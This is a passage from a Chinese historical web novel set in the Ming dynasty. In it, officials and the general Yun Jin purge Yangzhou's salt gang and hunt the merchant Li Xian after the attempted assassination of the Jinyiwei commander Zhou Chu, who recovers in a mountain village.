“有这事?在下也是刚听大人说才知道,大人是知道的,余姚离我这扬州尚有五六百里路,余姚又不是什么重镇,在下的消息没那么灵通。” 孙鳌满脸惊讶道,可以说表现的毫无破绽。 张璁早就料到孙鳌会这么说,这扬州虽然离南京比苏州府更近一些,却是被划分到了江南省,这让张璁庆幸不已,否则扬州要是隶属于南直隶的话,这次刺杀事件一旦查出来和盐帮有关,自己也是难辞其咎。 这也是为何严嵩毫无察觉的原因,扬州府离苏州府实在是远了些,而且虽说江南的基本面都在严嵩的掌控之中,但扬州是个例外,扬州一直都是掌控在盐帮和这些盐商手中的。 严嵩一直在整顿江南省的其他州府,扬州兹事体大,没有朝廷的命令,严嵩也不敢乱来,严嵩也看得出来,伴随着开海,扬州的盐帮和那些盐商迟早会被清算。 原本严嵩想着,在朝廷清算他们之前,先稳住他们,不去招惹他们,却没想到他们会来这么一出。 身处大狱之中的严嵩此时肠子都悔青了,他自然也想明白了这次刺杀的背后,肯定少不了盐帮的参与。 “刺杀周大人的有一千多人,整个江南,哪里能突然冒出来一千多好手?恐怕除了孙帮主的盐帮,再也没人有这个能力了吧?” 张璁冷笑道。 他原本就没打算和孙鳌虚为委蛇,周楚被刺,朝廷震怒,皇帝震怒,倘若此时自己还不温不火,不急不躁的进行,皇帝知道了该如何想? 别说皇帝了,张璁觉得自己真要是那么做,就辜负了周大人的提拔之恩。 张璁很清楚,自己代表的是朝廷的雷霆之怒,自然要直接切中要害。 孙鳌听到这话,脸色一变。 “张大人何出此言,张大人说这话可有证据?我盐帮一向为朝廷,为大明百姓尽心尽力运盐,怎么到了张大人口中,就成了窝藏刺客之地了呢?” 孙鳌丝毫不惧道。 这里是他盐帮的地盘,他盐帮弟子无数,还能怕一个张璁? “是与不是,孙帮主空口白牙说了可不算,本官来这里,就是为了调查此案,还请孙帮主配合,让本官搜查一下你这里。” 张璁满脸严肃道。 “张大人未免欺人太甚了吧?也不看看这是什么地方?” 孙鳌这话一出口,周围的上百盐帮弟子瞬间围了过来。 “孙帮主这是什么意思?” 张璁说着拍了拍手,后面跟着的上千士兵也压了上来。 “在下没什么意思,只是觉得官府办案要讲究证据,什么证据都没有,就要搜查我盐帮总舵,不合适吧?” 孙鳌看着眼前的上千士兵,丝毫不惧,不过他也不敢轻易动手,毕竟张璁可是封疆大吏,贸然对一个巡抚动手,怎么都说不过去。 张璁也是明白这个道理,所以并没有带太多人,带着这一千多人也不过是为了确保自己的安全罢了,省的自己被刺杀。 “证据?要什么证据?” 正在两人对峙的时候,一个女人的声音传了过来,两人闻声望去,只见一个穿着一身战甲的女人带着无数全甲士兵来到了张璁和孙鳌面前。 来的不是别人,正是云瑾带着玄武军。 看到云瑾,张璁心中一惊,之前他在周楚那里是见过云瑾的,知道这位和周大人的关系,只是她何时成了将领,还带着这么一支恐怖的部队。 全员重甲的部队,张璁光是看着就觉得头皮发麻,这位姑奶奶要是闹起来,恐怕整个江南将无宁日。 “盐帮帮主孙鳌,公然领兵对抗张大人,意图谋反,把这些人全都抓起来。” 云瑾面若寒霜道。 玄武军听到这话,瞬间将孙鳌以及他身后的盐帮弟子围了起来。 “你们要干什么?你们有证据吗?” 孙鳌看到玄武军,顿时慌了,怎么会突然出现一支全甲军队,这要是打起来,自己怎么死的都不知道。 “证据?要什么证据?” 云瑾冷笑道。 第228章 云瑾的雷霆手段,周楚的下落 孙鳌的脸色瞬间变了,他没想到眼前这个女人会如此不讲道理,平日里都是他和其他人不讲道理,此时轮到他了,他才发现居然毫无破局的办法,无比的绝望。 眼前的两千全甲玄武军让孙鳌没有任何对抗的想法,他盐帮是有些人,但那些都不是士兵,而且在这扬州满打满算也就几千人,面对这些全甲兵,都不够塞牙缝的。 一旁的张璁自然是没有任何意见的,他其实也想这么处理,不过他身为巡抚,还有大好的政治前途,做起事来自然是束手束脚的,不敢像云瑾这般毫无顾忌。 “陆将军,你带兵来这里,是否向陛下报备?” 张璁迟疑了一下,决定还是提醒一下云瑾,毕竟云瑾看着很年轻,很多官场上的规则未必清楚,要是未经皇帝允许,私自调兵,这可是重罪。 张璁是被周楚提拔上来的,自然不想眼看着云瑾步入深渊。 “来的路上已经让人给陛下送去密奏了,陛下同意不同意,这件事我都要做,事后陛下要杀要剐,也就顾不了这么多了。” 云瑾神情稍缓道。 张璁听到这话顿时心中一紧,心想这姑奶奶胆子还真是够大的。 “要不要我再上一封奏疏,说让你调兵是本官的主意?” 张璁迟疑道。 云瑾听到这话,摇了摇头。 “千万别,你又如何知道我这支军队的存在的?还有,倘若你替我说话,陛下会对我,会对二哥愈发猜忌,陛下不怕孤臣,就怕底下的臣子抱团。” 云瑾条理清晰道。 张璁听到这话,顿时对眼前的小姑娘刮目相看,他没想到一个小姑娘居然有这种认知和觉悟。 原本张璁也是这种想法,之所以说这些话,不过是向云瑾示好罢了,很多事他可以不做,但不能不说,说了就表明了他愿意和云瑾,和周楚共进退的决心。 在官场上很多时候说了什么比做了什么更重要。 接下来,云瑾对扬州城叫得上名字的盐商进行了一场大清洗,那些盐商全都被云瑾抓了起来,没有任何理由。 “你凭什么抓我们?你这是知法犯法!” 此时,云瑾出现在了这些盐商和孙鳌面前,其中一个盐商满脸愤怒道。 “我是领兵打仗的将军,不是知府,也不是巡抚,我不需要一点点办案子,大不了我回头将兵权上交,陛下要杀要剐都无所谓,但在这之前,我会灭了你们这些人的满门。” 云瑾满脸愤恨道。 此话一出,原本还叫嚣的盐商瞬间闭上了嘴巴,生怕惹怒眼前这个疯女人。 软的怕硬的,硬的怕愣的,愣的怕不要命的。 此时的云瑾显然已经什么都不管不顾了,要真是把他们满门灭了,他们毫无办法。 这个女人带领的这支军队,别说扬州城了,就算是整个江南,恐怕也无人能制衡。 “不知我等哪里得罪了姑娘?姑娘说出一个章程,我等一定赔罪。” 孙鳌也意识到了云瑾的不好惹,他不过是盐帮的帮主,虽然心狠手辣,但真正面临云瑾这种战场厮杀出来的,瞬间也怂了。 “锦衣卫指挥使周衡器是我兄长,我自小被他养大,诸位觉得这仇怨算不算大?” 云瑾看着孙鳌,虽然她说这话的语气很平静,但眼睛已经红了,似乎只要孙鳌等人说的话不是她爱听的,云瑾就会直接动手,毫不犹豫。 孙鳌等人听到这话,心里咯噔一下,他们怎么都没想到,周楚背后还有这么一支军队,怪不得之前周楚在苏州府的时候无论是平叛还是剿倭都能如此顺利。 这么一支全甲军,训练有素,别说江南了,纵观整个大明,孙鳌都想不出有什么军队能与之对抗。 此时的孙鳌无比后悔,早知道周楚还隐藏着这么一支部队,他说什么也不会参与到刺杀周楚的行动之中。 “姑娘,姑奶奶,这中间肯定有什么误会,周指挥使的事迹我一直都是知道的,在下对周指挥使也是无比崇敬,我们怎么敢得罪周指挥使呢?张大人和我们说了,说是有人刺杀他老人家,可这事和我们真没有关系啊。” 此时孙鳌的求生意志让他的口才变得无比的流畅,以前的孙鳌一句软话都不会说的,现在恨不得给云瑾跪下来磕一个。 因为以前他知道,别人奈何不了他,现在不同,眼前这个姑奶奶真敢砍了他们。 “有没有关系,诸位心里知晓,别说我不给你们活路,你们之中,有一人可以活下来,谁先把这件事交代清楚,说清楚谁动的手,我可以不杀他。” 云瑾看着众人,说道。 囚徒困境,以前周楚和她讲过,所以云瑾也是懂的。 孙鳌等人听到这话,心中一惊,特别是那些想明白其中关键的,冷汗都下来了。 这就是阳谋,他们不说,其他人为了活命也会出卖他们,他们现在比的就是谁先交代。 “来人,把他们分开关押。” 云瑾喝道。 与此同时,绍兴附近的一个小山村之中,二丫跑了一路来到了村子里唯一的郎中家中。 “三爷爷,你快去看看吧,那个哥哥好像不烧了。” 郎中听到这话,顿时面露喜色,跟着二丫来到了他家。 二丫的娘看到郎中来了,急忙招呼。 “三叔,你快给看看,这小哥烧了好几天了,终于不烧了。” 郎中跟着二丫的爹娘来到了他们的土屋之中,屋子里面全都是熬的草药的味道,床上躺着一个面色惨白的年轻人,不是周楚还能是谁。 屋子里除了二丫以及她的父母之外,还有二丫的大哥大柱,一个十三四岁的少年,和一般山里的年轻人一般,面色黝黑,显得很是憨厚。 郎中来到周楚跟前,摸了摸周楚的脉搏,又观察了一番。 “烧退了,就没有大碍了,这人也是命大,硬生生从鬼门关挺过来了。” 郎中感慨道。 他很清楚,自己开的那些草药,其实对周楚的伤势没什么太大的帮助,眼前这个年轻人伤的太重了,当时被大柱扛回来的时候,血都不知道流了多少了。 要说他做了什么,也只是帮周楚止了血,山上别的不多,就是止血的草药多。 “不过我得叮嘱你们两句。” 郎中看向大柱一家人道。 “三叔您说。” 大柱的爹恭敬道。 无论是辈分还是身份,让郎中在村子里的地位都很高,一般村民见到他都会很恭敬。 “此人的身份非同一般,看他的穿着就能看的出来,这种人身上还都是刀伤,恐怕背后有着不小的祸事,等他好的差不多了,你们就把他送走吧,免得惹祸上身。” 郎中想了想,说道。 “三叔说的对,这两天我也是这么想的,不过总要等人好的差不多了再说。” 大柱的爹道。 郎中听到这话,点了点头。 “对了,不要给他吃太多的发物,以清淡为主,要是真想给他吃,就少放点,熬到粥里。” 郎中走之前想了想,吩咐道。 他们这种山村,靠山吃山,每家每户总是会有些猎物的,很多动物的肉都是发物,比如鹿肉,不适合此时的周楚吃。 郎中刚离开没多久,床上的周楚就一阵咳嗽,悠悠转醒。 第229章 周楚的处境,得知真相的云瑾 周楚感觉自己做了个很长的梦,梦到自己到了未来,成为了一个历史学博士。 等周楚迷迷糊糊醒过来的时候,脑子里的东西才逐渐清晰起来,周楚这才想起自己不是在做梦,而是真实经历过。 不过上一世的记忆已经越来越遥远,毕竟人的脑子能记住的东西是有限的,有新的东西进来,就要有旧的记忆被挤出去。 关于上一世的记忆,周楚已经感到越来越模糊了。 “小哥,你醒了,把这碗粥喝了吧,我在里面加了些鸡肉。” 大柱的娘端着一碗粥,来到床头,说道。 郎中特意吩咐了不让吃发物,不过鸡肉在任何时候吃都没什么问题,鸡肉既不是发物,又很补。 实际上大柱家里也就养了三只老母鸡,为了照顾周楚,他们已经杀了一只了,这一只也是煮熟了,将肉拆开,然后一点点放到粥里,喂给周楚喝。 大柱的爹虽然是个猎户兼农民,没什么文化,却知道帮人帮到底,送佛送到西这句话,既然选择了救周楚,自然要全力以赴。 大柱和二丫看着带着肉丝的粥,都下意识的咽了咽口水,这只老母鸡他们家养了三年多了,炖出来的鸡汤都是油光,二丫和大柱到现在还想念那天的鸡汤。 那天炖出来一大锅鸡汤,他俩每人也分到了一碗,剩下的则和拆好的鸡肉一起保存了下来,每日用鸡汤给周楚熬粥喝。 周楚喝了两口,感觉身体暖和了很多,旁边二丫和大柱的反应周楚自然也注意到了。 “我吃饱了,给他俩吃吧。” 周楚说道。 大柱的娘听到这话,回头瞪了一眼大柱和二丫。 “你不用管他俩,他俩刚吃完饭,就是馋了。” 她说完用木勺子舀了一勺子放在周楚嘴边,周楚无奈,只能继续吃。 很快,一碗粥被周楚吃完了,旁边大柱和二丫眼中希望的火苗也熄灭了。 “小哥,我叫张大民,这是我儿子,叫张大柱,这是二丫,你叫什么名字?” 一旁大柱的爹眼看着周楚吃饱了,这才开口问道。 “我叫周楚。” 周楚如实回答道。 “那我就叫你一声楚哥儿,刚才给你治病的是我三叔,他说你不是一般人,身上还都是刀伤,恐怕背着天大的干系......” 张大民欲言又止道。 周楚听到这话,顿时明白了张大民的意思。 “不用担心,我是被歹人截杀,那些歹人现在逃命还来不及呢,不会有麻烦。” 周楚解释道。 张大民听到这话,顿时松了口气,他还真怕周楚是得罪了什么大人物,要是这样的话,他还真不敢留下周楚。 “倒是我想多了。” 张大民不好意思道。 “我就叫你张叔吧,你们救了我一命,恩同再造,不必因为这些小事介怀。” 周楚笑道。 此时周楚醒了过来,一言一行之间皆有气度,张大民也是有点见识的,正是因为有点见识,他在周楚面前才显得很是拘谨。 “你们见到我的马了吗?” 周楚看着几人,问道。 这次要是没有乌骓马,自己恐怕难逃一死,关键时刻这匹神马居然冲出来救主了,这是周楚没想到的。 “在屋外呢,你这匹马可神了,当时背着你一路跑到了这里。” 一提到乌骓马,大柱顿时兴奋地手舞足蹈,毕竟长这么大,他是第一次见到如此神骏的马。 他们整个村子只有一匹老马,是村长家的,平日里用来拉扯,往山下运送一些山货去卖。 那匹马和周楚的乌骓马一比,简直是一个天上一个地下。 听到这话,周楚顿时松了口气,只是觉着咱是要委屈一下乌骓马了,毕竟这山里乌骓马也只能吃一些青草,和平日里的口粮相比差了不少。 周楚在腰间摸了摸,终于在腰带上扣下来一块银子,这是以前周楚让人缝在腰带上的,为的就是紧急的时候能有银钱应急。 实际上除了银子,周楚的腰带中间还缝了很多珍贵的宝石,一般人根本发现不了,因为缝在中间,不过这些宝石对张大民一家而言是祸非福,这块银子恐怕都不太好花。 毕竟一般的山民都是花铜钱,突然拿出银子,很容易引起其他人的注意。 不过此时周楚也顾不得这么多了,自己的身子骨如今这个样子,需要一些补身子的,自然要花钱。 “张叔,这里是哪里?” 周楚并没有急着拿出银子。 “我们这是山前村,离绍兴城只有十几里。” 张大民说道。 周楚听到这话,顿时明白了自己现在在哪里,绍兴离余姚有一百里出头,让人传信的话,也不是一天能来回的,除非骑上乌骓这样的快马。 周楚又不敢轻易惊动本地的官员,谁知道这些人对自己是什么态度,要是有人对自己起了歹心,以现在自己的状态,恐怕很难防备。 “张叔,我身上就这么点银子了,你看着买点好的,小心点,别被人盯上。” 周楚说着将那块五两左右的银子递向了张大民。 周楚说自己只有这么点银子,就是为了防止张大民一家见财起意,虽然周楚知道这家人不是这种人,但周楚从不会去考验人心。 也好在这白银和那些宝石都是缝在腰带的中间的,中间甚至还塞了很多银票,腰带两圈外围都用了硬物阻隔,一般人即便是摸的再仔细,也摸不出所以然来。 不然的话,之前郎中给周楚止血的时候,恐怕就发现这些了。 张大民突然看到这么一块银子,有些眼晕,他们这种平头老百姓平日里花的都是铜钱,即便见过白银,也都是那些大人物的,何时自己摸过白银。 张大民急忙擦了擦手,小心翼翼地接过白银。 “你放心吧,我心里有数,不会被人盯上的。” 张大民自信道。 另外一边,被云瑾关押的那些盐商哪里顶得住这种压力,生怕其他人把自己卖了,刚被关押没多久,就有一个盐商要见云瑾。 “要见我的不止你一个,现在就看你们谁提供的信息多,谁就能活下来。” 云瑾看着这个盐商,说道。 盐商听到这话,脸色一变,他原本还想有所保留,但此时他却意识到主动权早已不在他手中了。 “刺杀周大人的是江南商会的会长李贤,他从那些因为被周大人查办而流放犯官族人之中挑选出了一千多人,加以训练,此次刺杀周大人的就是这些人,我等也只是为李贤和这些人提供一个容身之所。” 盐商不敢有所隐瞒,竹筒倒豆子一般和盘托出。 云瑾听到这话,眼神之中闪过寒光。 “李贤!” 第230章 村长的试探,周楚的震慑 事实证明,张大民确实是有些门路的,他买了不少东西回来,包括绷带药材,以及一些好的食材。 周楚现在处于恢复期,需要吃好的,恢复的才会快一些,对如今的周楚而言,现在自己就是在和时间赛跑,现如今的周楚甚至下床都困难,可以说毫无安全感。 这种情况下,周楚自然不会让张大民一家轻易去通知其他人,这中间但凡出了一点岔子,就是把自己置于危险之地。 君子不立于危墙之下,周楚最起码要保证自己有了一定的自保能力才会去通知其他人。 “楚哥儿,你这身战甲好重啊,当时你穿着这身战甲趴在马上,我离远了看还以为是啥呢。” 大柱看着屋子角落里周楚穿过的战甲说道,那套战甲上面都是干涸的血迹。 之前郎中为周楚敷药,把这套战甲卸了下来,就是因为这套战甲,才让郎中感到胆战心惊,这种战甲一看就不是普通兵能穿的,周楚穿着这套战甲一身伤逃到这里,怎么看都不是好事。 至于偷偷拿走周楚的这套战甲?开什么玩笑,私藏战甲可是重罪,别说偷偷拿走了,即便是周楚送给他,他也不敢要。 “你想要吗?想要的话送给你了。” 周楚满脸无所谓道。 别人没有这个权利,周楚还是有的,送一套战甲,即便是大柱留下,也无人会说什么。 “不要不要,听三爷爷说私藏战甲可是重罪。” 大柱满脸不舍得看着战甲,摇头道。 周楚听到这话,笑了笑,也没有解释什么。 “楚哥儿,我刚刚抓了个田鸡,一会让我娘给你煮田鸡粥。” 二丫手里抓着一个青蛙,脸上和脚上裤子上都是泥巴,来到屋子里满脸得意道。 如今才四月中旬,田鸡基本还不到出来的时候,基本都在地底下冬眠,二丫能挖出来这么一只田鸡,已经难能可贵了。 如果是夏天,遍地都是田鸡的时候,倒是很容易抓。 这只田鸡刚被挖出来的时候还在冬眠,没什么活力,此时仿佛睡醒了一般,想要挣扎着逃生,却被二丫死死地抓住两条腿,怎么都逃不掉。 二丫如今六七岁,皮肤虽然不像大柱那般黝黑,却也是是小麦色,而且整个人显得特别的皮实。 “好,谢谢二丫。” 周楚笑道。 二丫听到这话,感到很高兴。 “二丫都没有见过像楚哥儿这样的人,你和我们村的人好像不太一样。” 二丫说道。 她只是觉得周楚长的好看,像是村长家那些画里面走出来的人一般,实际上不只是她,张大民一家乃至郎中都有这种感觉,所以他们才愈发觉得周楚的身份非同一般。 二丫说完这话,似乎有些不好意思,拿着田鸡去厨房找她娘了。 “大柱,你会武吗?” 周楚看着大柱道。 作为山民,靠山吃山,大柱虽然只有十三四岁,身材却是异常魁梧,以大柱的条件,完全可以进锦衣卫,所以周楚才有此一问。 大柱听到这话,挠了挠头。 “不会,我爹说那都是有钱人才能学的,我爹以前打的那些猎物基本都是卖给一家大户人家的,那家的少爷天天练武,需要补身子。” 周楚听到这话,并不意外,练武一来需要传承,二来需要钱财,正所谓穷文富武,想要练出名堂,首先吃的就得跟上。 更不用说药材之类的。 山民身强体壮,完全是因为要耕作打猎。 “扶我起来。” 周楚尝试了一下,想要坐起来还是有些困难,只是躺了这么多天,周楚觉着身子快生锈了,想要动一动,不然浑身都不得劲。 大柱听到这话,有些犹豫。 “三爷爷说你这伤势太重了,现在要静养恢复。” “没事,我自己的身子自己清楚,我又不会大动,只是一直躺着也难受。” 周楚说道。 大柱听到这话,这才来到床边,小心翼翼地扶着周楚的肩膀,让周楚坐了起来。 即便现在的天气还不热,周楚都感觉自己身上快馊了,不动弹还好,一动弹被窝里的馊味就传了出来,让周楚皱了皱眉头,不过也没有办法。 这一动弹,虽然牵动了不少伤口,有些疼,却也让周楚感觉自己真的活过来了,之前刚清醒的时候,周楚甚至不太能感觉到自己身体的存在。 “你想不想学武?” 周楚看着大柱道。 大柱听到这话,眼睛顿时亮了。 “想啊,不过我恐怕学不了,我家没那么多钱财。” 大柱有些低落道。 “想学就成,其他的不用管,扎马步会吗?” 周楚看着大柱道。 “这个倒是会,我小时候我爹就带着我扎马步了。” 大柱说着就迈开了步子,扎了一个四平马,这马步扎的极稳,而且看上去极为轻松,显然扎了有些年头了。 看到这一幕,周楚的眼睛顿时亮了,大柱虽然没练武,根基却不是一般的稳,甚至不弱于十三四岁之时的自己。 这么好的根基,简直就是为练武而生的苗子。 “你这根基很稳,学武会很快,两三个月就能初步出成果。” 周楚点了点头道。 大柱听到这话,极为高兴。 周楚正要指点大柱练武,之前给周楚治伤的郎中走了进来,他身后还跟着一个中年男人。 “三爷爷,村长。” 大柱看到这两人,缩了缩脑袋,对于这两位长辈,他还是比较怕的。 “你怎么坐起来了?” 郎中看到周楚坐在床边,有些担忧道。 “无妨,只是躺的太久了,浑身不得劲,倒也没乱动。” 周楚笑道。 郎中听到这话,松了口气。 “他叫张老五,是我们村子的村长,有些事想要问你。” 郎中指了指身后的中年男人道。 郎中在村子里辈分高,还是个郎中,即便是村长见了他也要恭敬地叫一声三叔,对于村长,和其他人的态度自然不一样。 “大柱,你先出去。” 郎中看着大柱道。 大柱听到这话,自然不敢有什么意见,转身出了屋。 “小兄弟,你到底是什么人?” 村长刚一进门就看到了角落里的战甲,这套战甲让他眼睛一缩,这才明白自己三叔为何说眼前这个年轻人身份不一般了。 “村长不必管我是什么人,只需要知道,照顾好我,不会给你们带来麻烦,只有好处,但如果我在你们村子里出了事,你们整个村子的人都逃不了干系。” 周楚软中带硬道。 倒不是周楚恩将仇报,周楚不了解眼前的这个村长,比如要将他震慑住,让他不敢起其他心思。 村长听到这话,再看向周楚,顿时被周楚上位者的气息震慑住了,实际上不只是村长,郎中也是心中一震,他想过周楚的身份不一般,却没想到会有这么大的干系。 第231章 苏州府锦衣卫的决心,云瑾:掘地三尺也要找出李贤 扬州,无论是盐帮帮主孙鳌还是那些盐商都遭到了清算,有了那个盐商的供词,这些人以往做下的恶全都被拿到了明面上。 清算这些人是张璁动的手,因为云瑾得知动手的是李贤的时候,就带人四处搜查李贤的下落,为此张璁更是严令各府官员全力配合云瑾的调查,同时一旦发现李贤的下落,立刻上报。 不过无论是张璁还是云瑾都很清楚,江南的这些官员其中一部分不包庇李贤已经不错了,想要让他们费心费力搜寻李贤的下落,基本不太可能。 毕竟整个江南现有的官员之中,还是有一部分是原本的那些,这些人低调了起来,不敢惹事,却也不会帮助朝廷调查李贤的下落。 当然,包庇李贤也不太可能,毕竟李贤不过是一个商人,对他们而言已经没什么价值了,更何况李贤刚刚做完这等大事,此时的李贤就是个炸弹,谁敢收留,就会把他们也炸的粉身碎骨。 云瑾第一步就把李贤的藏身点锁定在了苏州府,根据那个盐商的供词,事发之后他们派出了人想要将李贤杀人灭口,却找不到李贤。 李贤显然是早就料到扬州这些人会对他动手的,自然不会藏在扬州。 李贤本就是苏州府的人,最熟悉的地方也是苏州府,一个人选择躲藏的地方,最大的可能是选择自己熟悉的环境,而非一个完全陌生,甚至路都不认识的地方。 在陌生的地方隐藏自己会毫无安全感,这是人内心的潜意识。 苏州府所有的县之中,云锦进行了一一排查,最终得出一个结论,李贤要么隐藏在崇明县,要么隐藏在紧挨着的松江府的上海县,或者昆山县的水泊之中。 这三个地方都是极有可能的,但云瑾觉得,以李贤这等谨慎的心性,得为自己考虑后路,倘若藏在昆山水泊之中,一来吃喝是个问题,二来一旦被堵,将很难有退路。 而崇明县和上海县不同,一旦情况不对,李贤还可以从这两个地方偷渡出海,虽然这么做风险极大,却也是一条退路。 于是云瑾将崇明县和上海县作为重点排查地点,昆山县也没有放弃,派出了一两百人在搜寻。 至于崇明县和上海县,云瑾人生地不熟,直接去了锦衣卫所,见到了陈昭。 陈昭是认识云瑾的,当初周楚第一次到苏州府的时候,张子义带人围攻锦衣卫所,周楚出现的时候,云瑾就在旁边。 只是后来没过多久,云瑾就消失不见了,陈昭原本还有些疑惑,此时看到云瑾穿着和虎贲军类似的战甲出现,顿时恍然大悟。 他一直都听说如今朝廷在海上有一支很厉害的军队,原本也只是听说,此时看着云瑾以及她身后的玄武军,陈昭顿觉恍然。 果然,能跟在周大人身边的,没有一个是普通人,就像沈炼,陈昭一想到沈炼那夸张的武力值,就有些头皮发麻。 之前他不知道沈炼具体的战力,但又觉得周大人能一直把沈炼带在身边当护卫,想来武力应该不错,于是就提出和沈炼过过手。 结果不打还好,这一打,沈炼把陈昭打出了心理阴影,陈昭甚至在沈炼手上没撑过三招,就被拿下了。 第一次陈昭有所不服,觉着是自己没准备好,于是又比了几次,最终陈昭绝望了。 “陈大人,我想让你带人去崇明县还有上海县搜查李贤的下落。” 云瑾看着陈昭道。 陈昭听到这话,有些迟疑。 “怎么?还需要我向陛下请旨才行吗?” 云瑾看到陈昭这副模样,问道。 “将军哪里的话,您的话就代表着周大人的话,您的吩咐下官自然责无旁贷,只是上海县不属于苏州府,我们的人贸然进入上海县,恐有不妥。” 陈昭说出了自己的想法。 “那就给松江府的锦衣卫所去信,让他们帮忙协查。” 云瑾说道。 “下官这就让人去办。” 陈昭不敢怠慢,当即写了一封信,让人快马加鞭送往松江府的锦衣卫所。 随后陈昭召集苏州府的所有锦衣卫,自从周楚出事之后,整个苏州府的锦衣卫都自动放弃了休沐,整天带人在苏州府搜寻凶手的下落。 虽然周楚离开苏州府已经近半年了,但这里的每一个锦衣卫一提起周楚,都是发自内心的尊崇,前几日他们知道周楚被刺杀的时候,一个个都无比愤怒。 苏州府的锦衣卫很清楚,他们在苏州府能有如今的地位,全赖指挥使周大人的雷霆之威,倘若周楚出了事,他们的地位很有可能回到原本那种姥姥不疼舅舅不爱的地步。 无论是出于自身的考量,还是对周楚的崇敬,苏州府的锦衣卫都无比愤怒,自觉放弃了休沐,誓要抓出刺杀周大人的刺客。 刺客他们倒是抓了不少,都是那些从余姚逃出来的,李贤直接放弃了这些人躲藏了起来,这些人又不敢到处乱跑,只能在苏州府就地隐藏。 在苏州府,锦衣卫想查出这些人并不困难,难的是将这些人一一抓住。 这些天苏州府的锦衣卫的重点工作就是抓捕这些漏网之鱼。 不过事发突然,即便锦衣卫没日没夜搜查,目前为止也只抓到了两三人,其他那些倒是发现了不少,但这些人怕连累自己的族人,干脆在被抓之前直接吞毒自杀。 这两三人还是锦衣卫吸取了教训,没有贸然打草惊蛇,一击即中,随后打碎了他们的下巴,让他们想要吞毒自杀都做不到。 不过即便锦衣卫的刑讯官用尽了各种手段,这几人也是一句都不说。 倒不是他们对李贤多忠心,而是他们明白,一旦李贤被抓,他们的身份就会被李贤曝光,那么他们的亲族就会被连累。 所以在云瑾到来之前,陈昭并不清楚策划刺杀的是李贤。 “这位是陆将军,周大人是她的兄长,此次她带兵前来,就是为周大人报仇的,陆将军说刺杀的主谋是李贤,那个江南商会的会长,如今李贤很可能藏身在崇明县和上海县,我们该怎么做?” 陈昭看着眼前的近千锦衣卫,高声道。 原本苏州府的锦衣卫没这么多,但周楚在苏州府的一年,锦衣卫的地位不断提高,无数人想要进入锦衣卫,刚好苏州府的锦衣卫所还没满编,于是周楚就做主让陈昭扩编,现在的苏州府锦衣卫有一千多人。 “清查崇明县,抓出李贤,为周大人报仇!” 一个锦衣卫百户带头喊道。 “清查崇明县,抓出李贤,为周大人报仇!” 其他锦衣卫纷纷跟着喊道。 “好,你们与我的人马混在一起行动,一个锦衣卫带两个士兵,将崇明县掘地三尺,也要把李贤找出来。” 云瑾面容肃穆道。 第232章 云瑾的计划,活捉李贤 “您有什么抓捕计划吗?” 陈昭看着云瑾,神情恭敬道。 实际上云瑾已经派出了五百玄武军暗中去寻找周楚的下落了,不过周楚是从余姚消失的,即便是找也是以余姚为中心,在四周搜寻。 实际上不只是玄武军,出事的第一时间,张璁被任命之后,就派出了大量人马去搜寻周楚的下落。 不过找周楚这件事,只能在暗中进行,因为现在周楚生死难料,即便没死,根据那些目击的学生的说法,这位锦衣卫指挥使也受了很重的伤。 无论是张璁还是云瑾都很清楚,现在在找周楚的恐怕不只是他们的人,那些江南士绅一个个都恨不得让周楚去死,自然也会暗中派人搜寻周楚的下落。 一旦找到周楚的下落,他们恐怕会第一时间对重伤的周楚下手。 所以云瑾才会如此高调行事,为的就是将所有人的目光吸引过来,让他们无暇分神去寻找周楚,云瑾很清楚,只要周楚缓过这口气来,一切就都不是问题了。 云瑾要做的,就是帮周楚争取缓这口气的时间。 “这一年多我在海上,遇到过大明的不少渔民,我问过他们一些捕鱼技巧,渔民一般会在一个地方围上网,然后在其他地方制造很大的动静,将附近的鱼全部赶到渔网那里。” 云瑾似乎有些答非所问道。 但陈昭毕竟是锦衣卫千户,听话听音,瞬间就明白了云瑾的意思。 “您的意思是在崇明县和上海县大张旗鼓的搜查,打草惊蛇,如此一来李贤就会想着逃命,最大的可能是偷渡出海,我们只需要暗中在崇明县沿海布防,就可以抓李贤一个措手不及。” 云瑾听到这话,有些意外的看向陈昭。 “你是个人才。” 陈昭听到这话,有些不好意思的笑了笑。 “周大人之前也这么夸过下官。” “去布置吧。” 云瑾脸色一肃道。 “是!” 陈昭领命离去。 这些天李贤躲在崇明县,这里有一家他开的青楼,李贤化妆之后躲了进去,除了老鸨和他手下的那些死士倒也无人知晓。 对于老鸨,李贤还是很信得过的,这个老鸨自幼被李家收养,原本是要做皮肉生意的,被年轻的李贤拦了下来,直接让她做了老鸨,因此老鸨对李贤可以说得上是感激涕零。 “老爷,现在外面情况不太对,到处都是官兵,不知道在搜寻什么人。” 老鸨来到李贤所在的房间里,满脸担忧道。 李贤刺杀周楚的事,自然不会告诉老鸨,只是和老鸨说自己之前得罪了锦衣卫,来这里躲一下,老鸨不疑有他,时刻帮李贤盯着外面的风声。 现在崇明县满大街走私成群结队的官兵在大肆搜查,老鸨自然坐不住了,第一时间来告诉了李贤。 李贤听到这话,心中一凛,他没想到这么快就有人猜出了自己的藏身之地。 “是整个苏州府都如此,还是只有崇明县如此?” 李贤问道。 他要确认一下,这些官兵是否将锁定了崇明县,再决定要不要跑路,倘若已经锁定了崇明县,那么找到他是迟早的事,应该尽早动身。 “好像只有崇明县,崇明县的官兵太多了,有锦衣卫,还有兵,这要是整个苏州府都这样的话,得多少锦衣卫。” 老鸨想了想说道。 李贤听到这话,眼神一凝,意识到了事情的严重性。 “这里不能待了,你去帮我联系一艘船,今晚我要出海。” 李贤急切道。 “我这就去办。” 老鸨听到这话,也意识到了事情的严重性,转身去安排了。 老鸨在崇明县经营青楼多年,自然是有些人脉的,也认识不少渔民,这些渔民有些以前在海上也做过烧杀抢掠之事,只不过后来开了海,他们眼看形势不对,又做回了渔民。 这些人以前做下的恶不少,但那时候海上没人监察,也就无从追究。 对于这些人而言,只要给的钱够多,他们就敢带人偷渡出海,老鸨就认识这么一个船老大,她趁夜摸黑来到船老大家中。 “这不是玲娘吗?怎么有兴致来我这大老粗家中了?” 船老大看到老鸨,充满情欲的眼神毫不遮掩道。 “我想让你帮我送一个人出海。” 老鸨也不拐弯抹角,她很清楚,和这些人打交道,你越是拐弯抹角,他们越不待见你。 船老大听到这话有些意外。 “送什么人?你的老相好?这么多年,也没听说过你玲娘有什么老相好啊。” 这些年不只是船老大,觊觎老鸨的人不在少数,不过因为老鸨背靠李家,她如果不愿意,没人敢动她。 “这你不用管,需要多少钱,说一声就行,绝不还价。” 老鸨自然不会透露李贤的名字,现在这些人还没意识到李家出了问题,一旦他们知道要上船的人是李家老爷,他们也就意识到李家出事了。 